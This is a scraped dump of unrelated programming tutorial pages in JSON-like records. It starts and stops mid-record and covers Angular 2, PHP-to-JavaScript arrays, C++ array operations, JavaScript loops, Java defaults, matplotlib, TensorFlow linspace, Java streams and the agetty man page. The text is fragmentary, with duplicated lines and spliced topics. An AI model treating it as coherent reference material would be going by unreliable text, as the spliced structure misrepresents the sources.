TypeScript(.ts) files which you need to save under the app folder." }, { "code": null, "e": 6628, "s": 6423, "text": "import {bootstrap} from 'angular2/platform/browser'; //importing bootstrap function\nimport {AppComponent} from './structural_app.component'; //importing component function\nbootstrap(AppComponent);" }, { "code": null, "e": 6730, "s": 6628, "text": "Now we will create a component in TypeScript(.ts) file which we will create a view for the component." }, { "code": null, "e": 7898, "s": 6730, "text": "import {Component} from 'angular2/core';\n\n@Component({\n selector: 'my-app',\n template: `\n <h2>{{title}}</h2>\n <p class=\"alert alert-success\" *ngIf=\"names.length > 2\">Currently there are more than 2 names!</p>\n <p class=\"alert alert-danger\" *ngIf=\"names.length <= 2\">Currently there are less than 2 names left!</p>\n <ul>\n <li *ngFor=\"#nam of names\"\n (click)=\"onNameClicked(nam)\"\n >{{ nam.name }}</li>\n </ul>\n <input type=\"text\" [(ngModel)]=\"selectedName.name\">\n <button (click)=\"onDeleteName()\">Delete Name</button><br><br>\n <input type=\"text\" #nam>\n <button (click)=\"onAddName(nam)\">Add Name</button>\n `\n})\nexport class AppComponent {\n title = 'Structural Directives';\n\n public names = [\n { name: \"Kamal\"},\n { name: \"Mitchel\"},\n { name: \"Yoon\"},\n { name: \"Johnson\"},\n { name: \"Jet Li\"}\n ];\n public selectedName = {name : \"\"};\n\n onNameClicked(nam) {\n this.selectedName = nam;\n }\n onAddName(nam) {\n this.names.push({name: nam.value});\n }\n onDeleteName() {\n this.names.splice(this.names.indexOf(this.selectedName), 1);\n this.selectedName.name = \"\";\n }\n}" }, { "code": null, "e": 8000, "s": 7898, "text": "\nThe @Component is a decorator which uses configuration object to create the component and its view.\n" }, { "code": null, "e": 8100, "s": 8000, "text": "The @Component is a decorator which uses configuration object to create the component and its view." }, { "code": null, "e": 8196, "s": 8100, "text": "\nThe selector creates an instance of the component where it finds <my-app> tag in parent HTML.\n" }, { "code": null, "e": 8290, "s": 8196, "text": "The selector creates an instance of the component where it finds <my-app> tag in parent HTML." }, { "code": null, "e": 8456, "s": 8290, "text": "\nNext is *ngFor directive creates the view exports which we bind to in the template. The * is a shorthand for using Angular 2 template syntax with the template tag.\n" }, { "code": null, "e": 8620, "s": 8456, "text": "Next is *ngFor directive creates the view exports which we bind to in the template. The * is a shorthand for using Angular 2 template syntax with the template tag." }, { "code": null, "e": 8881, "s": 8620, "text": "\nThe local variable nam can be referenced in the template and get the index of the array. When you click on the item value, the onNameClicked() event will get activate and Angular 2 will bind the model name from the array with the local variable of template. \n" }, { "code": null, "e": 9140, "s": 8881, "text": "The local variable nam can be referenced in the template and get the index of the array. When you click on the item value, the onNameClicked() event will get activate and Angular 2 will bind the model name from the array with the local variable of template. " }, { "code": null, "e": 9366, "s": 9140, "text": "\nThe methods onAddName() and onDeleteName() are used to add and delete the items from the list.The onNameClicked() method uses local varaible 'nam' as parameter and display the selected item by using the selectedName object.\n" }, { "code": null, "e": 9590, "s": 9366, "text": "The methods onAddName() and onDeleteName() are used to add and delete the items from the list.The onNameClicked() method uses local varaible 'nam' as parameter and display the selected item by using the selectedName object." }, { "code": null, "e": 9655, "s": 9590, "text": "Let's carry out the following steps to see how above code works:" }, { "code": null, "e": 9791, "s": 9655, "text": "Save above HTML code as index.html file as how we created in environment chapter and use the above app folder which contains .ts files." }, { "code": null, "e": 9927, "s": 9791, "text": "Save above HTML code as index.html file as how we created in environment chapter and use the above app folder which contains .ts files." }, { "code": null, "e": 9992, "s": 9927, "text": "Open the terminal window and enter the below command:\nnpm start\n" }, { "code": null, "e": 10046, "s": 9992, "text": "Open the terminal window and enter the below command:" }, { "code": null, "e": 10056, "s": 10046, "text": "npm start" }, { "code": null, "e": 10141, "s": 10056, "text": "After few moments, a browser tab should open and displays the output as shown below." }, { "code": null, "e": 10226, "s": 10141, "text": "After few moments, a browser tab should open and displays the output as shown below." }, { "code": null, "e": 10267, "s": 10226, "text": "OR you can run this file in another way:" }, { "code": null, "e": 10351, "s": 10267, "text": "Save above HTML code as structural_directives.html file in your server root folder." }, { "code": null, "e": 10435, "s": 10351, "text": "Save above HTML code as structural_directives.html file in your server root folder." }, { "code": null, "e": 10538, "s": 10435, "text": "Open this HTML file as http://localhost/structural_directives.html and output as below gets displayed." }, { "code": null, "e": 10641, "s": 10538, "text": "Open this HTML file as http://localhost/structural_directives.html and output as below gets displayed." }, { "code": null, "e": 10676, "s": 10641, "text": "\n 16 Lectures \n 1.5 hours \n" }, { "code": null, "e": 10690, "s": 10676, "text": " Anadi Sharma" }, { "code": null, "e": 10725, "s": 10690, "text": "\n 28 Lectures \n 2.5 hours \n" }, { "code": null, "e": 10739, "s": 10725, "text": " Anadi Sharma" }, { "code": null, "e": 10774, "s": 10739, "text": "\n 11 Lectures \n 7.5 hours \n" }, { "code": null, "e": 10794, "s": 10774, "text": " SHIVPRASAD KOIRALA" }, { "code": null, "e": 10829, "s": 10794, "text": "\n 16 Lectures \n 2.5 hours \n" }, { "code": null, "e": 10846, "s": 10829, "text": " Frahaan Hussain" }, { "code": null, "e": 10879, "s": 10846, "text": "\n 69 Lectures \n 5 hours \n" }, { "code": null, "e": 10891, "s": 10879, "text": " Senol Atac" }, { "code": null, "e": 10926, "s": 10891, "text": "\n 53 Lectures \n 3.5 hours \n" }, { "code": null, "e": 10938, "s": 10926, "text": " Senol Atac" }, { "code": null, "e": 10945, "s": 10938, "text": " Print" }, { "code": null, "e": 10956, "s": 10945, "text": " Add Notes" } ]
How to convert PHP array to JavaScript array?
You can use PHP array in JavaScript. It works for the single as well as the multidimensional array. Use the json_encode() method to achieve this. Let’s say Our PHP array is − $myArr = array('Amit', '[email protected]'); Converting PHP array into JavaScript. <script> var arr = <?php echo json_encode($myArr); ?>; </script> Now, let’s finally learn how to access it to output the email − document.write(arr[1]);
[ { "code": null, "e": 1208, "s": 1062, "text": "You can use PHP array in JavaScript. It works for the single as well as the multidimensional array. Use the json_encode() method to achieve this." }, { "code": null, "e": 1237, "s": 1208, "text": "Let’s say Our PHP array is −" }, { "code": null, "e": 1281, "s": 1237, "text": "$myArr = array('Amit', '[email protected]');" }, { "code": null, "e": 1319, "s": 1281, "text": "Converting PHP array into JavaScript." }, { "code": null, "e": 1384, "s": 1319, "text": "<script>\nvar arr = <?php echo json_encode($myArr); ?>;\n</script>" }, { "code": null, "e": 1448, "s": 1384, "text": "Now, let’s finally learn how to access it to output the email −" }, { "code": null, "e": 1472, "s": 1448, "text": "document.write(arr[1]);" } ]
Operations on an Array in Data Structures
Here we will see some basic operations of array data structure. These operations are − Traverse Insertion Deletion Search Update The traverse is scanning all elements of an array. The insert operation is adding some elements at given position in an array, delete is deleting element from an array and update the respective positions of other elements after deleting. The searching is to find some element that is present in an array, and update is updating the value of element at given position. Let us see one C++ example code to get better idea. Live Demo #include<iostream> #include<vector> using namespace std; main(){ vector<int> arr; //insert elements arr.push_back(10); arr.push_back(20); arr.push_back(30); arr.push_back(40); arr.push_back(50); arr.push_back(60); for(int i = 0; i<arr.size(); i++){ //traverse cout << arr[i] << " "; } cout << endl; //delete elements arr.erase(arr.begin() + 2); arr.erase(arr.begin() + 3); for(int i = 0; i<arr.size(); i++){ //traverse cout << arr[i] << " "; } cout << endl; arr[0] = 100; //update for(int i = 0; i<arr.size(); i++){ //traverse cout << arr[i] << " "; } cout << endl; } 10 20 30 40 50 60 10 20 40 60 100 20 40 60
[ { "code": null, "e": 1149, "s": 1062, "text": "Here we will see some basic operations of array data structure. These operations are −" }, { "code": null, "e": 1158, "s": 1149, "text": "Traverse" }, { "code": null, "e": 1168, "s": 1158, "text": "Insertion" }, { "code": null, "e": 1177, "s": 1168, "text": "Deletion" }, { "code": null, "e": 1184, "s": 1177, "text": "Search" }, { "code": null, "e": 1191, "s": 1184, "text": "Update" }, { "code": null, "e": 1611, "s": 1191, "text": "The traverse is scanning all elements of an array. The insert operation is adding some elements at given position in an array, delete is deleting element from an array and update the respective positions of other elements after deleting. The searching is to find some element that is present in an array, and update is updating the value of element at given position. Let us see one C++ example code to get better idea." }, { "code": null, "e": 1622, "s": 1611, "text": " Live Demo" }, { "code": null, "e": 2273, "s": 1622, "text": "#include<iostream>\n#include<vector>\nusing namespace std;\nmain(){\n vector<int> arr;\n //insert elements\n arr.push_back(10);\n arr.push_back(20);\n arr.push_back(30);\n arr.push_back(40);\n arr.push_back(50);\n arr.push_back(60);\n for(int i = 0; i<arr.size(); i++){ //traverse\n cout << arr[i] << \" \";\n }\n cout << endl; \n //delete elements\n arr.erase(arr.begin() + 2);\n arr.erase(arr.begin() + 3);\n for(int i = 0; i<arr.size(); i++){ //traverse\n cout << arr[i] << \" \";\n }\n cout << endl;\n arr[0] = 100; //update\n for(int i = 0; i<arr.size(); i++){ //traverse\n cout << arr[i] << \" \";\n }\n cout << endl;\n}" }, { "code": null, "e": 2316, "s": 2273, "text": "10 20 30 40 50 60\n10 20 40 60\n100 20 40 60" } ]
JavaScript for Loop
Loops can execute a block of code a number of times. Loops are handy, if you want to run the same code over and over again, each time with a different value. Often this is the case when working with arrays: JavaScript supports different kinds of loops: for - loops through a block of code a number of times for/in - loops through the properties of an object for/of - loops through the values of an iterable object while - loops through a block of code while a specified condition is true do/while - also loops through a block of code while a specified condition is true The for loop has the following syntax: Statement 1 is executed (one time) before the execution of the code block. Statement 2 defines the condition for executing the code block. Statement 3 is executed (every time) after the code block has been executed. From the example above, you can read: Statement 1 sets a variable before the loop starts (let i = 0). Statement 2 defines the condition for the loop to run (i must be less than 5). Statement 3 increases a value (i++) each time the code block in the loop has been executed. Normally you will use statement 1 to initialize the variable used in the loop (let i = 0). This is not always the case, JavaScript doesn't care. Statement 1 is optional. You can initiate many values in statement 1 (separated by comma): And you can omit statement 1 (like when your values are set before the loop starts): Often statement 2 is used to evaluate the condition of the initial variable. This is not always the case, JavaScript doesn't care. Statement 2 is also optional. If statement 2 returns true, the loop will start over again, if it returns false, the loop will end. If you omit statement 2, you must provide a break inside the loop. Otherwise the loop will never end. This will crash your browser. Read about breaks in a later chapter of this tutorial. Often statement 3 increments the value of the initial variable. This is not always the case, JavaScript doesn't care, and statement 3 is optional. Statement 3 can do anything like negative increment (i--), positive increment (i = i + 15), or anything else. Statement 3 can also be omitted (like when you increment your values inside the loop): Using var in a loop: Using let in a loop: In the first example, using var, the variable declared in the loop redeclares the variable outside the loop. In the second example, using let, the variable declared in the loop does not redeclare the variable outside the loop. When let is used to declare the i variable in a loop, the i variable will only be visible within the loop. The for/in loop and the for/of loop are explained in the next chapter. The while loop and the do/while are explained in the next chapters. Create a loop that runs from 0 to 9. let i; ( = ; < ; ) { console.log(i); } Start the Exercise We just launchedW3Schools videos Get certifiedby completinga course today! If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail: [email protected] Your message has been sent to W3Schools.
[ { "code": null, "e": 53, "s": 0, "text": "Loops can execute a block of code a number of times." }, { "code": null, "e": 159, "s": 53, "text": "Loops are handy, if you want to run the same code over and over again, each \ntime with a different value." }, { "code": null, "e": 208, "s": 159, "text": "Often this is the case when working with arrays:" }, { "code": null, "e": 254, "s": 208, "text": "JavaScript supports different kinds of loops:" }, { "code": null, "e": 308, "s": 254, "text": "for - loops through a block of code a number of times" }, { "code": null, "e": 359, "s": 308, "text": "for/in - loops through the properties of an object" }, { "code": null, "e": 419, "s": 359, "text": "for/of - loops through the values of an \n iterable object " }, { "code": null, "e": 493, "s": 419, "text": "while - loops through a block of code while a specified condition is true" }, { "code": null, "e": 575, "s": 493, "text": "do/while - also loops through a block of code while a specified condition is true" }, { "code": null, "e": 614, "s": 575, "text": "The for loop has the following syntax:" }, { "code": null, "e": 689, "s": 614, "text": "Statement 1 is executed (one time) before the execution of the code block." }, { "code": null, "e": 753, "s": 689, "text": "Statement 2 defines the condition for executing the code block." }, { "code": null, "e": 830, "s": 753, "text": "Statement 3 is executed (every time) after the code block has been executed." }, { "code": null, "e": 868, "s": 830, "text": "From the example above, you can read:" }, { "code": null, "e": 932, "s": 868, "text": "Statement 1 sets a variable before the loop starts (let i = 0)." }, { "code": null, "e": 1012, "s": 932, "text": "Statement 2 defines the condition for the loop to run (i must be less than \n5)." }, { "code": null, "e": 1105, "s": 1012, "text": "Statement 3 increases a value (i++) each time the code block in the loop has \nbeen executed." }, { "code": null, "e": 1196, "s": 1105, "text": "Normally you will use statement 1 to initialize the variable used in the loop (let i = 0)." }, { "code": null, "e": 1276, "s": 1196, "text": "This is not always the case, JavaScript doesn't care. Statement 1 is \noptional." }, { "code": null, "e": 1342, "s": 1276, "text": "You can initiate many values in statement 1 (separated by comma):" }, { "code": null, "e": 1428, "s": 1342, "text": "And you can omit statement 1 (like when your values are set \nbefore the loop starts):" }, { "code": null, "e": 1505, "s": 1428, "text": "Often statement 2 is used to evaluate the condition of the initial variable." }, { "code": null, "e": 1590, "s": 1505, "text": "This is not always the case, JavaScript doesn't care. Statement 2 is \nalso optional." }, { "code": null, "e": 1692, "s": 1590, "text": "If statement 2 returns true, the loop will start over again, if it returns false, the \nloop will end." }, { "code": null, "e": 1880, "s": 1692, "text": "If you omit statement 2, you must provide a break inside the \nloop. Otherwise the loop will never end. This will crash your browser.\nRead about breaks in a later chapter of this tutorial." }, { "code": null, "e": 1944, "s": 1880, "text": "Often statement 3 increments the value of the initial variable." }, { "code": null, "e": 2028, "s": 1944, "text": "This is not always the case, JavaScript doesn't care, and statement 3 is \noptional." }, { "code": null, "e": 2139, "s": 2028, "text": "Statement 3 can do anything like negative increment (i--), positive \nincrement (i = i + 15), or anything else." }, { "code": null, "e": 2227, "s": 2139, "text": "Statement 3 can also be omitted (like when you increment your values inside the loop): " }, { "code": null, "e": 2248, "s": 2227, "text": "Using var in a loop:" }, { "code": null, "e": 2269, "s": 2248, "text": "Using let in a loop:" }, { "code": null, "e": 2380, "s": 2269, "text": "In the first example, using var, the variable declared in \nthe loop redeclares the variable outside the loop. " }, { "code": null, "e": 2500, "s": 2380, "text": "In the second example, using let, the variable declared in \nthe loop does not redeclare the variable outside the loop. " }, { "code": null, "e": 2609, "s": 2500, "text": "When let is used to declare the i variable in a loop, the i \nvariable will only be visible within the loop. " }, { "code": null, "e": 2680, "s": 2609, "text": "The for/in loop and the for/of loop are explained in the next chapter." }, { "code": null, "e": 2748, "s": 2680, "text": "The while loop and the do/while are explained in the next chapters." }, { "code": null, "e": 2785, "s": 2748, "text": "Create a loop that runs from 0 to 9." }, { "code": null, "e": 2829, "s": 2785, "text": "let i;\n ( = ; < ; ) {\n console.log(i);\n}\n" }, { "code": null, "e": 2848, "s": 2829, "text": "Start the Exercise" }, { "code": null, "e": 2881, "s": 2848, "text": "We just launchedW3Schools videos" }, { "code": null, "e": 2923, "s": 2881, "text": "Get certifiedby completinga course today!" }, { "code": null, "e": 3030, "s": 2923, "text": "If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:" }, { "code": null, "e": 3049, "s": 3030, "text": "[email protected]" } ]
Default value of primitive data types in Java
Primitive datatypes are predefined by the language and named by a keyword in Java. Here is an example to display the default value of primitive data types. Live Demo public class Demo { static boolean val1; static double val2; static float val3; static int val4; static long val5; static String val6; public static void main(String[] args) { System.out.println("Default values....."); System.out.println("Val1 = " + val1); System.out.println("Val2 = " + val2); System.out.println("Val3 = " + val3); System.out.println("Val4 = " + val4); System.out.println("Val5 = " + val5); System.out.println("Val6 = " + val6); } } Default values..... Val1 = false Val2 = 0.0 Val3 = 0.0 Val4 = 0 Val5 = 0 Val6 = null Above, firstly we have declared variables of specific type. Remember, to get the default values, you do not need to assign values to the variable. static boolean val1; static double val2; static float val3; static int val4; static long val5; static String val6; Now to display the default values, you need to just print the variables. System.out.println("Val1 = " + val1); System.out.println("Val2 = " + val2); System.out.println("Val3 = " + val3); System.out.println("Val4 = " + val4); System.out.println("Val5 = " + val5); System.out.println("Val6 = " + val6);
[ { "code": null, "e": 1218, "s": 1062, "text": "Primitive datatypes are predefined by the language and named by a keyword in Java. Here is an example to display the default value of primitive data types." }, { "code": null, "e": 1229, "s": 1218, "text": " Live Demo" }, { "code": null, "e": 1746, "s": 1229, "text": "public class Demo {\n static boolean val1;\n static double val2;\n static float val3;\n static int val4;\n static long val5;\n static String val6;\n public static void main(String[] args) {\n System.out.println(\"Default values.....\");\n System.out.println(\"Val1 = \" + val1);\n System.out.println(\"Val2 = \" + val2);\n System.out.println(\"Val3 = \" + val3);\n System.out.println(\"Val4 = \" + val4);\n System.out.println(\"Val5 = \" + val5);\n System.out.println(\"Val6 = \" + val6);\n }\n}" }, { "code": null, "e": 1831, "s": 1746, "text": "Default values.....\nVal1 = false\nVal2 = 0.0\nVal3 = 0.0\nVal4 = 0\nVal5 = 0\nVal6 = null" }, { "code": null, "e": 1978, "s": 1831, "text": "Above, firstly we have declared variables of specific type. Remember, to get the default values, you do not need to assign values to the variable." }, { "code": null, "e": 2093, "s": 1978, "text": "static boolean val1;\nstatic double val2;\nstatic float val3;\nstatic int val4;\nstatic long val5;\nstatic String val6;" }, { "code": null, "e": 2166, "s": 2093, "text": "Now to display the default values, you need to just print the variables." }, { "code": null, "e": 2394, "s": 2166, "text": "System.out.println(\"Val1 = \" + val1);\nSystem.out.println(\"Val2 = \" + val2);\nSystem.out.println(\"Val3 = \" + val3);\nSystem.out.println(\"Val4 = \" + val4);\nSystem.out.println(\"Val5 = \" + val5);\nSystem.out.println(\"Val6 = \" + val6);" } ]
How to normalize a histogram in Python?
To normalize a histogram in Python, we can use hist() method. In normalized bar, the area underneath the plot should be 1. Make a list of numbers. Make a list of numbers. Plot a histogram with density=True. Plot a histogram with density=True. To display the figure, use show() method. To display the figure, use show() method. import matplotlib.pyplot as plt plt.rcParams["figure.figsize"] = [7.00, 3.50] plt.rcParams["figure.autolayout"] = True k = [5, 5, 5, 5] x, bins, p = plt.hist(k, density=True) plt.show()
[ { "code": null, "e": 1185, "s": 1062, "text": "To normalize a histogram in Python, we can use hist() method. In normalized bar, the area underneath the plot should be 1." }, { "code": null, "e": 1209, "s": 1185, "text": "Make a list of numbers." }, { "code": null, "e": 1233, "s": 1209, "text": "Make a list of numbers." }, { "code": null, "e": 1269, "s": 1233, "text": "Plot a histogram with density=True." }, { "code": null, "e": 1305, "s": 1269, "text": "Plot a histogram with density=True." }, { "code": null, "e": 1347, "s": 1305, "text": "To display the figure, use show() method." }, { "code": null, "e": 1389, "s": 1347, "text": "To display the figure, use show() method." }, { "code": null, "e": 1578, "s": 1389, "text": "import matplotlib.pyplot as plt\n\nplt.rcParams[\"figure.figsize\"] = [7.00, 3.50]\nplt.rcParams[\"figure.autolayout\"] = True\n\nk = [5, 5, 5, 5]\nx, bins, p = plt.hist(k, density=True)\n\nplt.show()" } ]
Tensorflow - linspace() in Python - GeeksforGeeks
20 Apr, 2022 TensorFlow is an open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks. While working with TensorFlow many times we need to generate evenly-spaced values in an interval. tensorflow.linspace(): This method takes starting tensor, ending tensor, number of values and axis and returns a Tensor with specified number of evenly spaced values. Example 1: python3 # importing the libraryimport tensorflow as tf # Initializing Inputstart = tf.constant(1, dtype = tf.float64)end = tf.constant(5, dtype = tf.float64)num = 5 # Printing the Inputprint("start: ", start)print("end: ", end)print("num: ", num) # Getting evenly spaced valuesres = tf.linspace(start, end, num) # Printing the resulting tensorprint("Result: ", res) Output: start: tf.Tensor(1.0, shape=(), dtype=float64) end: tf.Tensor(5.0, shape=(), dtype=float64) num: 5 Result: tf.Tensor([1. 2. 3. 4. 5.], shape=(5, ), dtype=float64) Example 2: This example uses 2-D tensors and on providing different axis value different Tensors will be generated. This type of evenly-spaced value generation is currently allowed in nightly version. python3 # importing the libraryimport tensorflow as tf # Initializing Inputstart = tf.constant((1, 15), dtype = tf.float64)end = tf.constant((10, 35), dtype = tf.float64)num = 5 # Printing the Inputprint("start: ", start)print("end: ", end)print("num: ", num) # Getting evenly spaced valuesres = tf.linspace(start, end, num, axis = 0) # Printing the resulting tensorprint("Result 1: ", res) # Getting evenly spaced valuesres = tf.linspace(start, end, num, axis = 1) # Printing the resulting tensorprint("Result 2: ", res) Output: start: tf.Tensor([ 1. 15.], shape=(2, ), dtype=float64) end: tf.Tensor([10. 35.], shape=(2, ), dtype=float64) num: 5 Result 1: tf.Tensor( [[ 1. 15. ] [ 3.25 20. ] [ 5.5 25. ] [ 7.75 30. ] [10. 35. ]], shape=(5, 2), dtype=float64) Result 2: tf.Tensor( [[ 1. 3.25 5.5 7.75 10. ] [15. 20. 25. 30. 35. ]], shape=(2, 5), dtype=float64) Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Install PIP on Windows ? How to drop one or multiple columns in Pandas Dataframe How To Convert Python Dictionary To JSON? Check if element exists in list in Python Python | Pandas dataframe.groupby() Python | Get unique values from a list Defaultdict in Python Python | os.path.join() method Python Classes and Objects Create a directory in Python
[ { "code": null, "e": 23901, "s": 23873, "text": "\n20 Apr, 2022" }, { "code": null, "e": 24132, "s": 23901, "text": "TensorFlow is an open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks. While working with TensorFlow many times we need to generate evenly-spaced values in an interval." }, { "code": null, "e": 24299, "s": 24132, "text": "tensorflow.linspace(): This method takes starting tensor, ending tensor, number of values and axis and returns a Tensor with specified number of evenly spaced values." }, { "code": null, "e": 24311, "s": 24299, "text": "Example 1: " }, { "code": null, "e": 24319, "s": 24311, "text": "python3" }, { "code": "# importing the libraryimport tensorflow as tf # Initializing Inputstart = tf.constant(1, dtype = tf.float64)end = tf.constant(5, dtype = tf.float64)num = 5 # Printing the Inputprint(\"start: \", start)print(\"end: \", end)print(\"num: \", num) # Getting evenly spaced valuesres = tf.linspace(start, end, num) # Printing the resulting tensorprint(\"Result: \", res)", "e": 24677, "s": 24319, "text": null }, { "code": null, "e": 24685, "s": 24677, "text": "Output:" }, { "code": null, "e": 24852, "s": 24685, "text": "start: tf.Tensor(1.0, shape=(), dtype=float64)\nend: tf.Tensor(5.0, shape=(), dtype=float64)\nnum: 5\nResult: tf.Tensor([1. 2. 3. 4. 5.], shape=(5, ), dtype=float64)" }, { "code": null, "e": 25054, "s": 24852, "text": "Example 2: This example uses 2-D tensors and on providing different axis value different Tensors will be generated. This type of evenly-spaced value generation is currently allowed in nightly version. " }, { "code": null, "e": 25062, "s": 25054, "text": "python3" }, { "code": "# importing the libraryimport tensorflow as tf # Initializing Inputstart = tf.constant((1, 15), dtype = tf.float64)end = tf.constant((10, 35), dtype = tf.float64)num = 5 # Printing the Inputprint(\"start: \", start)print(\"end: \", end)print(\"num: \", num) # Getting evenly spaced valuesres = tf.linspace(start, end, num, axis = 0) # Printing the resulting tensorprint(\"Result 1: \", res) # Getting evenly spaced valuesres = tf.linspace(start, end, num, axis = 1) # Printing the resulting tensorprint(\"Result 2: \", res)", "e": 25576, "s": 25062, "text": null }, { "code": null, "e": 25584, "s": 25576, "text": "Output:" }, { "code": null, "e": 25952, "s": 25584, "text": "start: tf.Tensor([ 1. 15.], shape=(2, ), dtype=float64)\nend: tf.Tensor([10. 35.], shape=(2, ), dtype=float64)\nnum: 5\nResult 1: tf.Tensor(\n[[ 1. 15. ]\n [ 3.25 20. ]\n [ 5.5 25. ]\n [ 7.75 30. ]\n [10. 35. ]], shape=(5, 2), dtype=float64)\n\nResult 2: tf.Tensor(\n[[ 1. 3.25 5.5 7.75 10. ]\n [15. 20. 25. 30. 35. ]], shape=(2, 5), dtype=float64)" }, { "code": null, "e": 25959, "s": 25952, "text": "Python" }, { "code": null, "e": 26057, "s": 25959, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26066, "s": 26057, "text": "Comments" }, { "code": null, "e": 26079, "s": 26066, "text": "Old Comments" }, { "code": null, "e": 26111, "s": 26079, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 26167, "s": 26111, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 26209, "s": 26167, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 26251, "s": 26209, "text": "Check if element exists in list in Python" }, { "code": null, "e": 26287, "s": 26251, "text": "Python | Pandas dataframe.groupby()" }, { "code": null, "e": 26326, "s": 26287, "text": "Python | Get unique values from a list" }, { "code": null, "e": 26348, "s": 26326, "text": "Defaultdict in Python" }, { "code": null, "e": 26379, "s": 26348, "text": "Python | os.path.join() method" }, { "code": null, "e": 26406, "s": 26379, "text": "Python Classes and Objects" } ]
Difference between Streams and Collections in Java 8
Java Collections framework is used for storing and manipulating group of data. It is an in-memory data structure and every element in the collection should be computed before it can be added in the collections. Stream API is only used for processing group of data. It does not modify the actual collection, they only provide the result as per the pipelined methods. public class CollectiosExample { public static void main(String[] args) { List<String> laptopList = new ArrayList<>(); laptopList.add("HCL"); laptopList.add("Apple"); laptopList.add("Dell"); Comparator<String> com = (String o1, String o2)->o1.compareTo(o2); Collections.sort(laptopList,com); for (String name : laptopList) { System.out.println(name); } } } public class StreamsExample { public static void main(String[] args) { List<String> laptopList = new ArrayList<>(); laptopList.add("HCL"); laptopList.add("Apple"); laptopList.add("Dell"); laptopList.stream().sorted().forEach(System.out::println); } }
[ { "code": null, "e": 1273, "s": 1062, "text": "Java Collections framework is used for storing and manipulating group of data. It is an in-memory data structure and every element in the collection should be computed before it can be added in the collections." }, { "code": null, "e": 1428, "s": 1273, "text": "Stream API is only used for processing group of data. It does not modify the actual collection, they only provide the result as per the pipelined methods." }, { "code": null, "e": 1851, "s": 1428, "text": "public class CollectiosExample {\n public static void main(String[] args) {\n\n List<String> laptopList = new ArrayList<>();\n laptopList.add(\"HCL\");\n laptopList.add(\"Apple\");\n laptopList.add(\"Dell\");\n Comparator<String> com = (String o1, String o2)->o1.compareTo(o2);\n\n Collections.sort(laptopList,com);\n\n for (String name : laptopList) {\n System.out.println(name);\n }\n }\n}" }, { "code": null, "e": 2139, "s": 1851, "text": "public class StreamsExample {\n public static void main(String[] args) {\n\n List<String> laptopList = new ArrayList<>();\n laptopList.add(\"HCL\");\n laptopList.add(\"Apple\");\n laptopList.add(\"Dell\");\n laptopList.stream().sorted().forEach(System.out::println);\n }\n}" } ]
agetty - Unix, Linux Command
agetty has several non-standard features that are useful for hard-wired and for dial-in lines: Under System V, a "-" port argument should be preceded by a "--". Baud rates should be specified in descending order, so that the null character (Ctrl-@) can also be used for baud rate switching. Since the -m feature may fail on heavily-loaded systems, you still should enable BREAK processing by enumerating all expected baud rates on the command line. For a hard-wired line or a console tty: /sbin/agetty 9600 ttyS1 For a directly connected terminal without proper carriage detect wiring: (try this if your terminal just sleeps instead of giving you a password: prompt.) /sbin/agetty -L 9600 ttyS1 vt100 For a old style dial-in line with a 9600/2400/1200 baud modem: /sbin/agetty -mt60 ttyS1 9600,2400,1200 For a Hayes modem with a fixed 115200 bps interface to the machine: (the example init string turns off modem echo and result codes, makes modem/computer DCD track modem/modem DCD, makes a DTR drop cause a dis-connection and turn on auto-answer after 1 ring.) /sbin/agetty -w -I ’ATE0Q1&D2&C1S0=1\015’ 115200 ttyS1 This is \n.\o (\s \m \r) \t This is thingol.orcan.dk (Linux i386 1.1.9) 18:29:30 /var/run/utmp, the system status file. /etc/issue, printed before the login prompt. /dev/console, problem reports (if syslog(3) is not used). /etc/inittab, init(8) configuration file. The text in the /etc/issue file (or other) and the login prompt are always output with 7-bit characters and space parity. The baud-rate detection feature (the -m option) requires that the modem emits its status message after raising the DCD line. W.Z. Venema <[email protected]> Eindhoven University of Technology Department of Mathematics and Computer Science Den Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands Peter Orbaek <[email protected]> Linux port and more options. Still maintains the code. Eric Rasmussen <[email protected]> Added -f option to display custom login messages on different terminals. Peter Orbaek <[email protected]> Linux port and more options. Still maintains the code. Eric Rasmussen <[email protected]> Added -f option to display custom login messages on different terminals. Sat Nov 25 22:51:05 MET 1989 96/07/20 Advertisements 129 Lectures 23 hours Eduonix Learning Solutions 5 Lectures 4.5 hours Frahaan Hussain 35 Lectures 2 hours Pradeep D 41 Lectures 2.5 hours Musab Zayadneh 46 Lectures 4 hours GUHARAJANM 6 Lectures 4 hours Uplatz Print Add Notes Bookmark this page
[ { "code": null, "e": 10678, "s": 10581, "text": "\nagetty has several non-standard features that are useful\nfor hard-wired and for dial-in lines:\n" }, { "code": null, "e": 10746, "s": 10678, "text": "\nUnder System V, a \"-\" port argument should be preceded\nby a \"--\".\n" }, { "code": null, "e": 10878, "s": 10746, "text": "\nBaud rates should be specified in descending order, so that the\nnull character (Ctrl-@) can also be used for baud rate switching.\n" }, { "code": null, "e": 11038, "s": 10878, "text": "\nSince the -m feature may fail on heavily-loaded systems,\nyou still should enable BREAK processing by enumerating all\nexpected baud rates on the command line.\n" }, { "code": null, "e": 11107, "s": 11038, "text": "\nFor a hard-wired line or a console tty:\n /sbin/agetty 9600 ttyS1\n" }, { "code": null, "e": 11300, "s": 11107, "text": "\nFor a directly connected terminal without proper carriage detect wiring:\n(try this if your terminal just sleeps instead of giving you a password:\nprompt.)\n /sbin/agetty -L 9600 ttyS1 vt100\n" }, { "code": null, "e": 11408, "s": 11300, "text": "\nFor a old style dial-in line with a 9600/2400/1200 baud modem:\n /sbin/agetty -mt60 ttyS1 9600,2400,1200\n" }, { "code": null, "e": 11727, "s": 11408, "text": "\nFor a Hayes modem with a fixed 115200 bps interface to the machine:\n(the example init string turns off modem echo and result codes, makes\nmodem/computer DCD track modem/modem DCD, makes a DTR drop cause a\ndis-connection and turn on auto-answer after 1 ring.)\n /sbin/agetty -w -I ’ATE0Q1&D2&C1S0=1\\015’ 115200 ttyS1\n" }, { "code": null, "e": 11766, "s": 11734, "text": " This is \\n.\\o (\\s \\m \\r) \\t\n" }, { "code": null, "e": 11824, "s": 11766, "text": "\n 